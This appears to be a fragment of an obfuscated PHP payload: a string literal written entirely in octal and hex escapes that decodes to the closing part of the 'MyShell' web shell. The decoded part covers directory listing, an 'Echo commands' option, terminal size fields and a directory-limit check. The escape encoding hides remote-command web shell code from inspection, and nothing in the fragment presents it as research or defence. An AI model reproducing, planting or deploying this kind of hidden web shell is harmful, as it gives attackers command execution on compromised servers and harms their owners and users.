0\x20\x20\40\x20\151\146\x20\50\x73\164\x72\154\145\x6e\x28\44\167\x6f\162\153\137\144\x69\x72\51\40\x3d\75\x20\x31\51\40\x7b\15\xa\40\40\x20\x20\x20\x20\x20\40\x2f\x2a\x20\167\157\x72\x6b\x5f\x64\151\162\x20\x69\163\x20\x6f\x6e\x6c\x79\x20\61\40\x63\x68\141\162\x65\x63\164\145\162\x20\x2d\x20\151\x74\x20\143\x61\x6e\x20\x6f\x6e\154\171\40\x62\145\x20\57\x20\x2a\57\15\12\x20\40\x20\40\x20\40\175\40\x65\x6c\x73\x65\x69\x66\x20\50\x73\x74\x72\x72\x70\157\x73\x28\x24\x77\x6f\162\x6b\137\x64\x69\162\54\x20\x22\57\x22\x29\x20\75\75\x20\x30\x29\x20\173\15\12\x20\40\x20\40\x20\40\40\x20\x2f\52\x20\x54\150\x65\40\154\141\163\x74\x20\x2f\40\151\x6e\x20\167\157\162\x6b\x5f\x64\x69\162\x20\167\145\x72\145\x20\164\150\x65\40\146\151\162\x73\x74\x20\143\x68\141\162\145\x63\164\x65\162\56\15\xa\40\40\40\x20\40\40\40\x20\x20\x20\x20\x54\150\151\x73\40\155\x65\x61\156\163\x20\164\150\141\164\x20\167\145\x20\150\141\x76\x65\40\x61\x20\164\157\160\x2d\154\x65\166\x65\x6c\x20\144\x69\x72\x65\x63\x74\157\162\x79\xd\xa\x20\x20\40\40\40\x20\x20\40\40\x20\40\145\x67\x2e\x20\57\x62\151\156\x20\x6f\162\x20\x2f\150\x6f\x6d\x65\40\x65\164\x63\56\56\56\x20\x2a\57\xd\xa\x20\x20\x20\40\40\40\x65\143\150\x6f\x20\x22\74\157\x70\x74\x69\157\156\40\x76\x61\x6c\165\145\x3d\x5c\x22\x2f\x5c\42\76\120\x61\x72\145\x6e\x74\x20\x44\x69\x72\145\143\x74\157\162\x79\74\57\x6f\x70\x74\151\x6f\x6e\76\x5c\156\42\x3b\15\xa\40\40\x20\x20\x20\x20\x7d\40\x65\154\163\145\x20\173\15\xa\x20\40\40\40\x20\x20\x2f\52\40\127\x65\40\x64\157\x20\x61\x20\x6c\151\x74\x74\154\145\x20\x62\151\x74\40\x6f\146\x20\163\164\162\151\156\x67\55\155\x61\156\151\160\165\154\141\164\x69\157\x6e\40\x74\x6f\x20\x66\151\x6e\144\x20\x74\150\x65\x20\160\x61\x72\145\x6e\164\xd\12\40\40\40\x20\40\x20\40\40\40\x64\x69\162\x65\x63\164\157\162\x79\x2e\56\x2e\x20\x54\x72\165\x73\164\x20\x6d\x65\x20\55\40\151\x74\40\167\x6f\x72\153\163\x20\72\x2d\51\x20\x2a\57\15\12\40\40\x20\40\x20\x20\145\x63\x68\157\40\42\74\x6f\160\x74\x69\157\156\40\166\141\154\165\145\x3d\134\42\x22\x2e\x20\x73\164\x72\162\145\166\x28\x73\x75\142\x73\164\162\50\163\x74\162\163\164\162\50\x73\x74\x72\162\145\166\50\x24\x77\157\x72\x6b\137\144\151\162\51\54\x20\42\57\42\51\54\40\61\51\51\40\56\x22\x5c\x22\x3e\120\141\x72\x65\156\164\40\104\151\x72\145\x63\x74\157\x72\x79\x3c\57\157\160\164\151\157\x6e\76\134\x6e\42\73\xd\xa\40\x20\x20\x20\x20\x20\175\15\12\40\40\40\40\x7d\40\x65\x6c\163\145\x20\173\15\12\40\40\x20\40\x20\x20\151\146\x20\50\x24\x77\x6f\162\153\x5f\x64\x69\x72\40\x3d\x3d\x20\42\57\42\x29\x20\173\xd\xa\x20\x20\x20\x20\40\x20\40\40\x65\x63\x68\x6f\40\x22\x3c\157\160\x74\151\x6f\x6e\x20\x76\141\154\165\x65\x3d\x5c\x22\44\167\x6f\162\153\x5f\x64\151\x72\44\x64\x69\x72\134\x22\x3e\x24\x64\151\162\74\x2f\157\x70\164\x69\x6f\156\x3e\134\156\x22\x3b\15\xa\40\x20\40\x20\x20\40\175\x20\145\x6c\163\145\x20\x7b\xd\xa\40\x20\x20\x20\40\40\40\x20\x65\143\150\157\40\42\74\157\x70\164\x69\157\156\40\x76\141\154\x75\145\x3d\134\42\x24\167\157\162\x6b\x5f\x64\x69\162\57\x24\144\151\x72\134\x22\76\44\144\x69\x72\74\x2f\157\x70\x74\151\x6f\156\x3e\x5c\156\42\x3b\15\12\40\40\x20\x20\40\x20\175\15\12\x20\40\40\x20\175\xd\12\x20\x20\x7d\15\xa\175\xd\12\40\x20\x63\154\157\x73\x65\x64\x69\162\50\x24\x64\x69\x72\137\x68\141\x6e\144\x6c\145\x29\73\xd\xa\x3f\x3e\xd\xa\x3c\x2f\x73\x65\x6c\145\143\164\76\xd\12\x26\156\x62\x73\160\x3b\40\x7c\40\46\156\x62\x73\x70\x3b\x3c\x69\156\160\x75\x74\x20\x74\171\x70\145\x3d\42\143\150\x65\x63\153\142\157\x78\42\40\156\141\155\145\75\x22\145\x63\x68\157\103\x6f\x6d\x6d\141\156\144\x22\74\77\151\146\50\x24\145\143\x68\157\x43\x6f\x6d\x6d\141\x6e\144\x29\x65\143\x68\157\40\42\40\x63\x68\x65\143\x6b\145\144\42\77\x3e\x3e\x45\x63\x68\x6f\x20\143\x6f\x6d\155\141\156\144\x73\15\12\x26\x6e\x62\x73\160\73\40\174\40\x26\x6e\142\163\x70\x3b\x43\x6f\x6c\x73\x3a\x3c\x69\x6e\x70\165\x74\40\164\x79\x70\145\x3d\42\164\145\x78\x74\42\40\156\x61\155\x65\75\x22\157\x43\157\x6c\x73\42\40\163\x69\x7a\x65\75\63\x20\166\141\x6c\x75\145\75\x3c\x3f\145\x63\150\157\x20\x24\157\103\157\154\163\x3f\x3e\x3e\xd\xa\x26\x6e\x62\163\x70\x3b\122\x6f\167\163\72\74\151\156\x70\165\x74\40\164\171\160\x65\75\42\x74\145\x78\164\42\x20\156\x61\155\145\x3d\42\x6f\x52\157\x77\x73\x22\40\x73\x69\172\x65\75\x32\x20\x76\x61\x6c\165\x65\x3d\74\77\x65\x63\150\x6f\x20\44\x6f\122\x6f\x77\163\x3f\x3e\x3e\15\12\x26\x6e\142\163\x70\73\174\40\x3a\72\x3a\72\x3a\72\72\72\x3a\x3a\x26\156\x62\163\160\73\x3c\141\x20\x68\x72\145\146\75\42\150\164\164\x70\72\57\x2f\x77\167\x77\x2e\x64\x69\x67\x69\x74\x61\x72\x74\56\156\145\x74\x22\x20\164\x61\x72\x67\145\x74\x3d\42\137\142\154\141\156\x6b\42\40\163\x74\x79\x6c\x65\75\42\164\x65\170\x74\x2d\x64\145\143\x6f\162\x61\x74\x69\157\156\72\x6e\x6f\156\x65\x22\76\74\142\x3e\x4d\x79\123\x68\145\154\x6c\x3c\x2f\x62\76\x20\46\x63\157\x70\171\73\x32\60\60\x31\x20\x44\151\x67\151\x74\141\x72\x74\40\x50\x72\157\x64\165\143\143\x69\157\x6e\x65\163\74\57\x61\76\15\xa\74\57\146\x6f\x72\x6d\76\xd\12\x3c\57\142\157\x64\171\x3e\xd\12\74\57\150\164\155\x6c\76\xd\xa\74\77\xd\12\x66\165\156\143\164\151\x6f\156\40\x76\141\x6c\151\x64\x61\164\145\x5f\144\151\x72\50\x24\144\x69\x72\51\173\15\xa\40\x20\x20\40\107\x4c\117\102\101\x4c\x20\x24\x64\x69\162\114\x69\155\151\164\73\xd\xa\x20\40\40\x20\151\146\50\44\x64\151\x72\x4c\x69\x6d\x69\164\51\173\15\xa\40\x20\40\x20\40\40\x20\40\44\x63\144\120\157\163\x20\x3d\40\163\x74\162\x70\157\163\x28\44\x64\151\162\54\x24\x64\x69\x72\114\x69\155\x69\164\51\73\xd\12\x20\x20\40\40\x20\x20\x20\x20\x69\146\40\x28\x28\x73\x74\x72\x69\x6e\x67\51\x24\143\144\x50\157\x73\40\75\75\x20\x22\42\x29\x20\x7b\xd\12\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\x24\x64\x69\162\x20\75\40\44\x64\151\x72\114\151\x6d\x69\x74\x3b\15\12\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x24\x47\x4c\117\x42\x41\114\123\x5b\x22\x64\x69\162\x45\x72\162\157\x72\x22\135\40\75\x20\42\131\x6f\x75\x20\141\x72\x65\40\156\157\x74\x20\141\x6c\x6c\x6f\167\145\144\x20\143\x68\x61\156\x67\x65\40\x74\157\40\x64\x69\x72\x65\143\164\x6f\162\x69\145\163\40\141\x62\157\166\145\x20\x24\144\x69\162\114\x69\x6d\x69\x74\x5c\x6e\42\73\xd\12\40\40\x20\40\x20\x20\40\40\175\15\12\40\x20\x20\40\x7d\15\xa\40\x20\40\x20\162\x65\x74\x75\x72\x6e\x20\x24\144\x69\x72\x3b\15\xa\x7d\xd\12\77\x3e\15\12";